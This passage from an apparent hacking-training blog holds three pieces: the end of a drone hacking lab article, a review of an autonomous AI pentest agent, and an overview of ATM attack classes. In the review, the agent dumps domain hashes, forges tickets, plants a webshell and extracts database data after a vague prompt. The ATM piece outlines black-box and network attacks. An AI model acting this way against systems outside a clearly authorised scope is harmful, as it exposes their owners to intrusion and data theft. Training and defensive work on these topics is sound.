DVD can be deployed in two different ways, and which one you pick depends on which part of the attack chain you actually want to practice. Wi-Fi Mode spins up a real, functioning virtual wireless network, broadcasting an SSID called Drone_Wi-Fi on the 192.168.13.0/24 range, with your choice of weak WEP encryption or the considerably stronger WPA2. This lets the whole exercise start from the very beginning, with you playing the role of an attacker who doesn’t have network access yet and has to earn it.
Non-Wi-Fi Mode skips that entire step and simply brings the containers up directly. This is useful if you just want to focus purely on protocol-level attacks, or if you’re not running inside a Kali VM with wireless card support to begin with. In this mode, the documentation asks you to treat the situation as though initial access to the drone’s data link has already been established, so you can jump straight to the MAVLink-level work.
Summary
The Damn Vulnerable Drone takes an idea that’s already well proven in web security and applies it to a domain where practicing on the real thing tends to be expensive. By simulating a full ArduPilot and MAVLink drone stack inside Docker, right down to Wi-Fi, camera streaming, and flight physics, it hands penetration testers, students, and researchers a realistic, disposable target, backed by more than 40 documented attack scenarios and built-in walkthroughs to guide the way. It won’t teach you to fly a real drone. But it will teach you exactly how one can be hacked, and for anyone working in drone security, that’s the more useful skill anyway.
If you’re interested in drone hacking, check out our Building Your Own Hacking Drone series, where we walk you through attack scenarios targeting Bluetooth and Wi-Fi across a wide range of devices.
We also offer a Drone Hacking training course, taking place November 10-12 at 4:00 PM UTC, available to Subscriber and Subscriber Pro students.
Lately we have been covering the use of AI in cybersecurity and this space has been growing so fast that it’s hard to keep up sometimes. It’s only going to keep growing from here, so it’s smart to learn how to use it to your advantage instead of getting left behind.
Today we’re going to show you a pentest tool that works with different models. The tool comes ready to use right out of the box and you don’t have to provide your API key to get started. During our own testing, we did eventually hit a usage limit, but by that point we had already gotten a ton of work done. The limits will reset every day, sometimes you just need to wait 5-14 hours. But the daily limit should be enough for you to complete many of your tasks.
What is PentestCode
PentestCode is an autonomous agent that lives in your terminal. You point it at a target and from there it takes over. It can run tools, read the output, build a picture of the network as it decides what step makes sense next. Under the hood, it’s a hard fork of OpenCode, but stripped of all the code editing features and rebuilt from the ground up with offensive security in mind.
In our experience the tool did well in both web and network pentesting. Of course, everyone’s mileage may vary, so give it a shot yourself and see how it fits into your workflow. With that said, let’s get it set up.
Setting Up
All you need to do is unzip the release version and start it up. Before you do that though, make sure you are downloading the original project made by s0ld13rr and not some fork. There have been reports of forks being bundled with infected files, so stick to the source.
kali > wget https://github.com/s0ld13rr/pentestcode/releases/download/v0.2.5/pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar
And that’s it, we are ready to launch.
Working with PentestCode
Once you launch the tool, the console will appear.
kali > ./pentestcode
At this point you can either leave everything at the default settings or tweak the model and the provider yourself. By default, the tool is set up with OpenCode Zen as the provider and Big Pickle as the model, though you can switch that over to DeepSeek v4 Flash.
If you want to connect to a different provider, just type /connect.
And whenever you want to swap the model, just type /models and pick from the list.
Active Directory
Let’s start by testing this against our own lab. We gave it an Active Directory account with low privileges and asked to pull some interesting information from LDAP.
It came back with domain admins, misconfigs, machine accounts and more.
At the very end of the report, it suggested the next steps based on everything it found.
Then we brought in BloodHound to see the relationships across the domain. If you have been following our earlier articles, you already know that our lowpriv account is set up as a kind of backdoor, since it holds GenericAll rights over AdminSDHolder. The tool found the backdoor and exploited it.
The agent performed a DCSync attack and pulled every user hash in the environment. Then we asked it to generate a golden ticket.
It pulled it off using the Impacket. Keep in mind, using Impacket won’t always work against a protected endpoint, so it’s important to spell out clearly how you want the pentest to be done. If you are running this against a live target, put real guardrails in place and give the tool much more detailed prompts so it does not wander somewhere it shouldn’t.
Finally, we get to the tedious part of a pentest. It’s writing up the report. You can do it in different formats using /report.
kali > sudo apt install glow
kali > glow report.md
Web Pentesting and Bug Bounty Hunting
Web pentesting is such a massive topic on its own that plenty of people end up specializing in just one or two attacks testing them across different targets. PentestCode can be used here too, once you give it a good starting point through solid reconnaissance. You can toggle between modes using Tab, switching back and forth between Recon and Pentest.
We intentionally kept our prompt vague, just to see how creative the tool would get on its own and pointed it at a website. Within 15 minutes, it mapped out every subdomain tied to that company and tested the infrastructure behind each one.
The goal was to get an RCE. We didn’t expect much to come of it, but it managed to do it.
PentestCode uploaded a webshell and used curl to do recon on the internal network from there. On top of that, it compromised both a mail account and a MySQL database. The admin panel was also exploited with a CSRF vulnerability. Pretty impressive stuff, honestly.
The tool comes in handy during post exploitation as well. In our test, it exploited a vulnerability in PostgreSQL and escalated its way up to superuser access, then went through the databases and pulled out some interesting data. You can see some of it below.
Summary
If you decide to test PentestCode yourself, make sure you steer clear of vague prompts and set clear boundaries so that it doesn’t go further than it should. Use /pause to choose a mode where it stops and waits for your approval before moving forward. We believe that it’s important to keep a human in the loop in cybersecurity work like this.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.
Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security.
This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.
Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.
With that out of the way, let’s start with where ATMs came from.
The History of ATMs
London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card.
Source: Barclays Bank
Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.
Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.
Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.
What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.
Screenshot of the troubleshooting guide for Cutlet Maker. The author describes the ATM’s USB port location, along with advice on how to devise a stick for attaching the USB cable and accessing the internal USB port. Source: TrendMicro
Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.
Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.
Brief Attack Statistics
The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.
Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.
None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.
How an ATM Is Built
Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.
The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.
1. User Layer
From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.
Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines.
A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center.
Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.
2. OS Layer
That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.
Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.
Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.
The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.
Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.
3. Network Layer
Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.
Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well.
The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.
4. Firmware Layer
Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone.
The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware.
Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.
ATM Attacks
With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.
Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.
Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.
System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.
Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.
Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there.
We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.
Summary
ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.
Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.
Login
